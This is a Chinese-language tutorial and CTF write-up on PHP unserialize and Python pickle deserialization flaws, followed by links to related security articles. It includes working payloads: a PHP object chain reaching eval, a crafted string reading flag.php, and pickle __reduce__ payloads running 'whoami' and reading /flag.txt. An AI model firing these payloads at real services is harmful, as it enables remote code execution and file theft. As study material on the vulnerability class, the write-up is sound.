php和python反序列化漏洞分析

之前一直有接触挺多反序列化的漏洞,但是自己一直没有很细心地学习这方面的东西,所以现在花时间分析一下phppython中的反序列化漏洞,其大体都是差不多的,部分代码来源互联网,有错误烦请各位师傅指正。

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

简单来说序列化就是把一个对象的数据和数据类型转成格式化字符串的过程,反序列化则是将这些格式化字符串转为对象形式的过程。因此面向对象的编程都会有概率可能存在反序列化漏洞。

0x01 PHP

魔术方法

在审计php反序列化漏洞的时候需要着重注意几个典型的魔术方法:

函数简介
__sleepserialize()函数在执行时会检查是否存在一个__sleep魔术方法,如果存在,则先被调用
__wakeupunserialize()函数执行时会检查是否存在一个__wakeup 方法,如果存在,则先被调用
__construct构造函数会在每次创建新对象时先调用
__destruct析构函数是php5新添加的内容,析构函数会在到对象的所有引用都被删除或者当对象被显式销毁时执行
__toString当对象被当做字符串的时候会自动调用该函数
<?php
class Student{
    public $name = 'zjun';
    public $age = '19';

    public function PrintVar(){
        echo 'name '.$this -> name . ', age ' . $this -> age . '<br>';
    }
    public function __construct(){
        echo "__construct<br>";
    }
    public function __destory(){
        echo "__destory<br>";
    }
    public function __toString(){
        return "__toString";
    }
    public function __sleep(){
        echo "__sleep<br>";
        return array('name', 'age');
    }
    public function __wakeup(){
        echo "__wakeup<br>";
    }
}

$obj = new Student();
$obj -> age = 18;
$obj -> name = 'reder';
$obj -> PrintVar();
echo $obj;
$s_serialize = serialize($obj);
echo $s_serialize.'<br>';
$unseri = unserialize($s_serialize);
$unseri -> PrintVar();
?>

输出结果:

__construct
name reder, age 18
__toString__sleep
O:7:"Student":2:{s:4:"name";s:5:"reder";s:3:"age";i:18;}
__wakeup
name reder, age 18

在进行构造反序列化payload时,可跟进以上几个比较典型的魔术变量进行深入挖掘。

一个例子

php中,序列化和反序列化一般用做应用缓存,比如session缓存,cookie等,或者是格式化数据存储,例如jsonxml等。

一个很简单的序列化代码,如下:

<?php
    class Student{
        public $name = 'zjun';

        function GetName(){
            return 'zjun';
        }
    }
    $s = new Student();
    echo $s->GetName().'<br>';
    $s_serialize = serialize($s);
    echo $s_serialize;

一个Student类,其中有一个name属性和一个GetName方法,然后实例化了Student类的对象,输出调用GetName这个类方法,然后serialize()函数把对象转成字符串,也就是序列化,再输出序列化后的内容

输出结果:

zjun
O:7:"Student":1:{s:4:"name";s:4:"zjun";}

序列化的数据详解:

Oobject表示对象,:后边的内容为这个对象的属性,7表示对象名称的长度,Student就是对象名,1表示对象有一个成员变量,就是{}里面的东西,s表示这个成员变量是一个str字符串,他的长度为4,后面跟着成员变量名,以及这个成员变量的数据类型,长度,内容。

这里代码只有一个public属性,如果有protected或者private属性,在序列化的数据中也都会体现出来

<?php
    class Student{
        public $name = 'zjun';
        protected $age = '19';
        private $weight = '53';

        function GetName(){
            return 'zjun';
        }
    }
    $s = new Student();
    echo $s->GetName().'<br>';
    $s_serialize = serialize($s);
    echo $s_serialize;

输出:

zjun
O:7:"Student":3:{s:4:"name";s:4:"zjun";s:6:"*age";s:2:"19";s:15:"Studentweight";s:2:"53";}

可见public类型直接是变量名,protected类型有*号,但是其长度为6,是因为\x00+*+\x00+变量名。同理private类型会带上对象名,其长度是15\x00+类名+\x00+变量名

以上的这个过程就称为php序列化,再看看反序列化:

<?php
    class Student{
        public $name = 'zjun';

        function GetName(){
            return 'zjun';
        }
    }

    $Student = 'O:7:"Student":1:{s:4:"name";s:4:"zjun";}';
    $s_unserialize = unserialize($Student);
    print_r($s_unserialize);
?>

unserialize()函数就是用来反序列化的函数,输出:

Student Object ( [name] => zjun )

一个Student对象,其中name成员变量等于zjun,这就是反序列化,将格式化字符串转化为对象。

在这个过程中本来是挺正常的,在一些特殊情景下却能造成如rce等漏洞,如

<?php
class Student{
    var $a;
    function __construct() {
        echo '__construct';
    }
    function __destruct() {
        $this->a->action();
        echo 'one';
    }
}

class one {
    var $b;
    function action() {
        eval($this->b);
    }
}
$c = new Student();
unserialize($_GET['a']);
?>

代码有一个构造函数__construct输出__construct,在new这个对象时自动调用,一个析构函数__destruct将当我们传入的a再传进one对象中执行,构造代码:

<?php
class Student {
    var $a;
    function __construct() {
        $this->a = new one();
    }
}
class one {
    var $b = "phpinfo();";
}
echo serialize(new Student());
?>

输出:

O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}}

成功触发。

实例:网鼎杯 2020 青龙组 AreUSerialz

<?php
include("flag.php");
highlight_file(__FILE__);

class FileHandler {
    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

这里需要读flag.php文件,在process()函数中,当op=2时,read()中的file_get_contents就会执行,is_valid()会判断传入的字符串是否为可打印字符,而原来的类修饰均为protected,在序列化时会生成不可见的\x00,但php7+对类的属性类型不敏感,可直接把属性修饰为public,成功绕过is_valid()

构造

<?php
class FileHandler {

    public $op = 2;
    public $filename = "flag.php";
    public $content;
}

$a = new FileHandler();
echo serialize($a)."\n";

传入

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

0x02 PYTHON

python中序列化一般有两种方式:pickle模块和json模块,前者是python特有的格式,后者是json通用的格式。

以下均显示为python2版本序列化输出结果,python3pickle.dumps结果与python2不一样。

pickle

import pickle

dict = {"name": 'zjun', "age": 19}
a = pickle.dumps(dict)
print(a, type(a))
b = pickle.loads(a)
print(b, type(b))

输出:

("(dp0\nS'age'\np1\nI19\nsS'name'\np2\nS'zjun'\np3\ns.", <type 'str'>)
({'age': 19, 'name': 'zjun'}, <type 'dict'>)

json

import json
dict = {"name": 'zjun', "age": 19}
a = json.dumps(dict, indent=4)
print(a, type(a))
b = json.loads(a)
print(b, type(b))

其中indent=4起到一个数据格式化输出的效果,当数据多了就显得更为直观,输出:

{
    "name": "zjun",
    "age": 19
} <class 'str'>
{'name': 'zjun', 'age': 19} <class 'dict'>

再看看一个pickle模块导致的安全问题

import pickle
import os

class obj(object):
    def __reduce__(self):
        a = 'whoami'
        return (os.system, (a, ))

r = pickle.dumps(obj())
print(r)
pickle.loads(r)

通过构造__reduce__可达到命令执行的目的,详见:Python魔法方法指南

先输出obj对象的序列化结果,再将其反序列化,输出

cposix
system
p0
(S'whoami'
p1
tp2
Rp3
.
zjun

成功执行了whoami命令。

实例:CISCN2019 华北赛区 Day1 Web2 ikun

CISCN2019 华北赛区 Day1 Web2 ikun,前面的细节讲得很清楚了,这里接着看反序列化的考点。

19行处直接接收becomeurl解码与其反序列化的内容,存在反序列化漏洞,构造payload读取flag.txt文件:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

将生成的payload传给become即可。

再推荐一下大师傅的python反序列化漏洞挖掘

个人博客:www.zjun.info

本文来源于: https://xz.aliyun.com/t/7751

相关推荐

xyhcms v3.6 命令执行

xyhcms v3.6 命令执行 漏洞描述 XYHCMS是一款开源的CMS内容管理系统。 XYHCMS后台存在代码执行漏洞,攻击者可利用该漏洞在site.php中增加恶意代码,从而可以获取目标终端的权限。 复现 按步骤安装,查看site.p

Kimsuky组织某样本分析

0x00 前言 HWP 是韩国 Hancom 公司开发的文字处理软件(扩展名.hwp),可类比于 WPS。本文分析样本利用了CVE-2017-8291,由于版权相关问题,最新版的HWP已经将GhostScript开源组件(gbb.exe)移

用模拟执行实现Objective-C代码自动化分析

火眼高级逆向工程实验室脚本系列:用模拟执行实现Objective-C代码自动化分析 写在前面的话 京东安全开源的 qiling 是一个很不错的想法,但是唯一的问题在于它实现的东西太多,比较笨重。有的时候我仅仅想模拟几个函数的执行,操作比较麻

IE jscript.dll释放后重用漏洞(CVE-2020-0674)分析

银雁冰@猎影实验室 0x01 前言 CVE-2020-0674是360和Google在2020年初抓到的一个IE 0day,它是一个位于jscript.dll模块的UAF(释放后重用)漏洞。最近,该漏洞的一份完整利用代码在github被公布

nodejs一些入门特性&&实战

最近发觉nodejs的一些特性很有意思,对此进行一番小结,有不足之处请师傅们补充。 原型链 源自JavaScript的原型继承模型。 prototype(原型) 几乎js的所有对象都是Object的实例,我们没办法使用class自写一个类。

php代码审计学习之函数缺陷

php代码审计学习之函数缺陷 感兴趣的可以参考一下PHP-Audit-Labs in_array函数缺陷 Wish List Code class Challenge { const UPLOAD_DIRECTORY = './soluti

CVE-Flow:1999-2020年CVE数据分析【1】

给大家汇报一下最近工作,主要做了这么几个事情: 1999-2020年CVE数据分析。 增量CVE数据的T级监控。 EXP预警。 全局自动化。 产出及价值 汇总产出一份近20年来CVE原始数据集:CVE2020,且持续自动更新,具备66个属性

WAF绕过之SQL注入(归来)

Author:flystart Team: ms509 Date:2020/5 前言: WAF(Web Application Firewall)对于从事信息安全领域的工作者来说并不陌生,在渗透测试一个目标的时候常常作为拦路虎让人头痛不已,

WordPress Ninja Forms插件 CSRF to XSS漏洞(CVE-2020-12462)分析

前言 Ninja Forms是一款WordPress插件。使用Ninja Forms插件无需编码即可以创建美观、用户友好的WordPress表单。据统计,全球超过 2,000,000 个网站正在使用 Ninja Forms。 Ninja F

CVE-2019-18679 Squid 敏感信息泄漏

0x1 前言 Squid是一个开源的高性能的代理缓存服务器。它接受来自客户端的请求并适当地处理这些请求。例如,如果一个人想下载一web页面,他请求Squid为他取得这个页面。Squid随之连接到远程服务器并向这个页面发出请求。然后,Squi

某cms代码审计引发的思考

0x01、前言 在CNVD闲逛的时候看到这款CMS,发现常见的用于getshell的漏洞都有人提交过,顿时来了兴趣,下载下来经过审计发现漏洞的利用方式和常规方法稍有不同,尤其是对于文件上传的漏洞来说,在以前的测试中主要集中在图片附件之类的地